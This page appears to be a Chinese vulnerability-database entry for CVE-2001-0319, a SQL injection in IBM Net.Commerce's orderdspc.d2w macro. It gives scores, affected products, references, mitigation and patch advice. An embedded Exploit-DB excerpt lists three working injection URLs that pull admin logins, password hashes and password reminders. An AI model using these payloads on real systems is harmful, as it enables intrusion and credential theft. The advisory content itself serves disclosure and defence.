CVE-2001-0319
CVSS7.5
发布时间 :2001-05-03 00:00:00
修订时间 :2008-09-05 16:23:49
NMCOE    

[原文]orderdspc.d2w macro in IBM Net.Commerce 3.x allows remote attackers to execute arbitrary SQL queries by inserting them into the order_rn option of the report capability.


[CNNVD]IBM Net.Commerce远程执行任意命令漏洞(CNNVD-200105-058)

        
        Net.Commerce是IBM发行的Websphere的一部分。它提供了一些通用特性使电子商务变得更加容易,其性能和可靠性也有独到之处。
        它默认支持的宏特性未对用户输入进行适当的检查,远程攻击者可以利用SQL Injection技术以帐号DB2INST1的权限执行任意SHELL命令。
        IBM已经修正了随Net.Commerce 3.2、WebSphere Commerce Suite 4.1发布的有安全漏洞的宏,但是用户自定义宏可能存在同样的安全漏洞。WebSphere Commerce Suite 5.1不受此问题影响,它不使用Net.Data宏。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:ibm:net.commerce:3.1.2::start
cpe:/a:ibm:net.commerce:3.0IBM Net.Commerce 3.0
cpe:/a:ibm:websphere_commerce_suite:4.1.1::start
cpe:/a:ibm:websphere_commerce_suite:3.2::service_provider
cpe:/a:ibm:net.commerce_hosting_server:3.2IBM Net.Commerce Hosting Server 3.2
cpe:/a:ibm:net.commerce:3.1.2::pro
cpe:/a:ibm:net.commerce_hosting_server:3.1.1IBM Net.Commerce Hosting Server 3.1.1
cpe:/a:ibm:websphere_commerce_suite:4.1::start
cpe:/a:ibm:net.commerce_hosting_server:3.1.2IBM Net.Commerce Hosting Server 3.1.2
cpe:/a:ibm:net.commerce:3.1::start
cpe:/a:ibm:net.commerce:3.2::pro
cpe:/a:ibm:net.commerce:3.1.1::pro
cpe:/a:ibm:net.commerce:2.0IBM Net.Commerce 2.0
cpe:/a:ibm:websphere_commerce_suite:4.1::marketplace
cpe:/a:ibm:net.commerce:3.1.1::start
cpe:/a:ibm:net.commerce:3.1::pro
cpe:/a:ibm:net.commerce:3.2::start
cpe:/a:ibm:websphere_commerce_suite:3.1.2::service_provider
cpe:/a:ibm:websphere_commerce_suite:4.1::pro
cpe:/a:ibm:websphere_commerce_suite:4.1.1::pro

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0319
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0319
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200105-058
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/2350
(UNKNOWN)  BID  2350
http://www-4.ibm.com/software/webservers/commerce/netcomletter.html
(VENDOR_ADVISORY)  CONFIRM  http://www-4.ibm.com/software/webservers/commerce/netcomletter.html
http://archives.neohapsis.com/archives/bugtraq/2001-02/0072.html
(VENDOR_ADVISORY)  BUGTRAQ  20010205 IBM NetCommerce Security
http://xforce.iss.net/xforce/xfdb/6067
(UNKNOWN)  XF  ibm-netcommerce-reveal-information(6067)

- 漏洞信息

IBM Net.Commerce远程执行任意命令漏洞
高危 SQL注入
2001-05-03 00:00:00 2005-05-02 00:00:00
远程  
        
        Net.Commerce是IBM发行的Websphere的一部分。它提供了一些通用特性使电子商务变得更加容易,其性能和可靠性也有独到之处。
        它默认支持的宏特性未对用户输入进行适当的检查,远程攻击者可以利用SQL Injection技术以帐号DB2INST1的权限执行任意SHELL命令。
        IBM已经修正了随Net.Commerce 3.2、WebSphere Commerce Suite 4.1发布的有安全漏洞的宏,但是用户自定义宏可能存在同样的安全漏洞。WebSphere Commerce Suite 5.1不受此问题影响,它不使用Net.Data宏。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 按照如下步骤删除示例宏:
        1. 在WEB根目录中找到每个实例对应的db2www.ini 。
        2. 检查这些ini文件中的MACRO_PATH,确认只包含用到了的宏,删除示例宏。
        3. 删除那些未被用到的目录。
        下列目录包含了一些应该被删除的示例代码,如果您需要使用其中一些示例宏,务必仔细修改源码,对用户输入进行适当的检查。
        Websphere Commerce Suite and Market Place Edition Version 4.1/4.1.1:
        SUN Solaris
         /opt/WebSphere/CommerceSuite/macro/en_US/base
         /opt/WebSphere/CommerceSuite/macro/en_US/bus2bus
         /opt/WebSphere/CommerceSuite/macro/en_US/category
         /opt/WebSphere/CommerceSuite/macro/en_US/demomall
         /opt/WebSphere/CommerceSuite/macro/en_US/euromall
         /opt/WebSphere/CommerceSuite/macro/en_US/grocery
         /opt/WebSphere/CommerceSuite/macro/en_US/product
         /opt/WebSphere/CommerceSuite/macro/en_US/tutorial
         /opt/WebSphere/CommerceSuite/models
        IBM AIX
         /usr/lpp/CommerceSuite/macro/en_US/base
         /usr/lpp/CommerceSuite/macro/en_US/bus2bus
         /usr/lpp/CommerceSuite/macro/en_US/category
         /usr/lpp/CommerceSuite/macro/en_US/demomall
         /usr/lpp/CommerceSuite/macro/en_US/euromall
         /usr/lpp/CommerceSuite/macro/en_US/grocery
         /usr/lpp/CommerceSuite/macro/en_US/product
         /usr/lpp/CommerceSuite/macro/en_US/tutorial /usr/lpp/CommerceSuite/models
        Windows NT
         IBM\CommerceSuite\macro\en_US\base IBM\CommerceSuite\macro\en_US\bus2bus
         IBM\CommerceSuite\macro\en_US\category
         IBM\CommerceSuite\macro\en_US\demomall
         IBM\CommerceSuite\macro\en_US\euromall
         IBM\CommerceSuite\macro\en_US\grocery IBM\CommerceSuite\macro\en_US\product
         IBM\CommerceSuite\macro\en_US\ncsample
         IBM\CommerceSuite\macro\en_US\tutorial
         IBM\CommerceSuite\models IBM\CommerceSuite\instance\\teditor
        Net.Commerce/Service Provider Edition Version 3.2
        SUN Solaris
         /opt/IBMnetc/NetCommerce3/macro/en_US/bus2bus
         /opt/IBMnetc/NetCommerce3/macro/en_US/category
         /opt/IBMnetc/NetCommerce3/macro/en_US/demomall
         /opt/IBMnetc/NetCommerce3/macro/en_US/euromall
         /opt/IBMnetc/NetCommerce3/macro/en_US/grocery
         /opt/IBMnetc/NetCommerce3/macro/en_US/ncsample
         /opt/IBMnetc/NetCommerce3/macro/en_US/product
         /opt/IBMnetc/NetCommerce3/macro/en_US/tutorial
        IBM AIX
         /usr/lpp/NetCommerce3/macro/en_US/bus2bus
         /usr/lpp/NetCommerce3/macro/en_US/category
         /usr/lpp/NetCommerce3/macro/en_US/demomall
         /usr/lpp/NetCommerce3/macro/en_US/euromall
         /usr/lpp/NetCommerce3/macro/en_US/grocery
         /usr/lpp/NetCommerce3/macro/en_US/ncsample
         /usr/lpp/NetCommerce3/macro/en_US/product
         /usr/lpp/NetCommerce3/macro/en_US/tutorial
        Windows NT
         IBM\NetCommerce3\macro\en_US\bus2bus IBM\NetCommerce3\macro\en_US\category
         IBM\NetCommerce3\macro\en_US\demomall IBM\NetCommerce3\macro\en_US\euromall
         IBM\NetCommerce3\macro\en_US\grocery IBM\NetCommerce3\macro\en_US\ncsample
         IBM\NetCommerce3\macro\en_US\product IBM\NetCommerce3\macro\en_US\tutorial
        厂商补丁:
        IBM
        ---
        IBM已经为此发布了一个安全公告(MSS-OAR-E01-2001:087)以及相应补丁:
        MSS-OAR-E01-2001:087:Re: Passwords in Net.Commerce/WebSphere decryptable, any version
        IBM已经修正了该漏洞,参看
        
        http://www-4.ibm.com/software/webservers/commerce/netcomletter.html

        升级到不受此问题影响的版本,至少应该升级到Net.Commerce 3.2,它修补了管理宏,删除了一些示例宏。

- 漏洞信息 (20618)

IBM Net.Commerce 2.0/3.x/4.x orderdspc.d2w order_rn Option SQL Injection (EDBID:20618)
multiple remote
2001-02-05 Verified
0 Rudi Carell
N/A [点击下载]
source: http://www.securityfocus.com/bid/2350/info

IBM's Net.Commerce ecommerce platform supports macros which, by default, do not properly validate requests in user-supplied input. A thoughtfully-formed request to a vulnerable script can cause the server to disclose sensitive system information, including results of arbitrary queries to the Net.Commerce database. This can allow an attacker to obtain an elevation of privileges to that of the DB2INST1 account, and potentially issue arbitrary shell commands as the DB2INST1 user.

IBM fixed the vulnerable macros they ship with the product in Net.Commerce Versions 3.2 and WebSphere Commerce Suite 4.1. Custom macros created by the user may be vulnerable to this type of attack. WebSphere Commerce Suite Version 5.1 is not vulnerable at all as it does not use Net.Data macros. 

To obtain the administrator accounts use the following URL:

http://target/cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report?order_rn=99999+union+select+shlogid+as+mestname,0+from+shopper+where+shshtyp+%3d+'A';

To obtain the encrypted passwords use the following URL:

http://target/cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report?order_rn=99999+union+select+shlpswd+as+mestname,0+from+shopper+where+shlogid+%3d+'ncadmin';

To obtain the password reminders use the following URL:
http://target/cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report?order_rn=99999+union+select+shchaans+as+mestname,0+from+shopper+where+shlogid+%3d+'ncadmin';

"orderdspc.d2w" is not the only vulnerable macro. It is just used as an example. Casting between different data-types is possible. Read the DB2 manual pages.

It may also be possible to query other databases. 		

- 漏洞信息

833
IBM Net.Commerce orderdspc.d2w order_rn Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-02-05 Unknow
2001-02-05 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站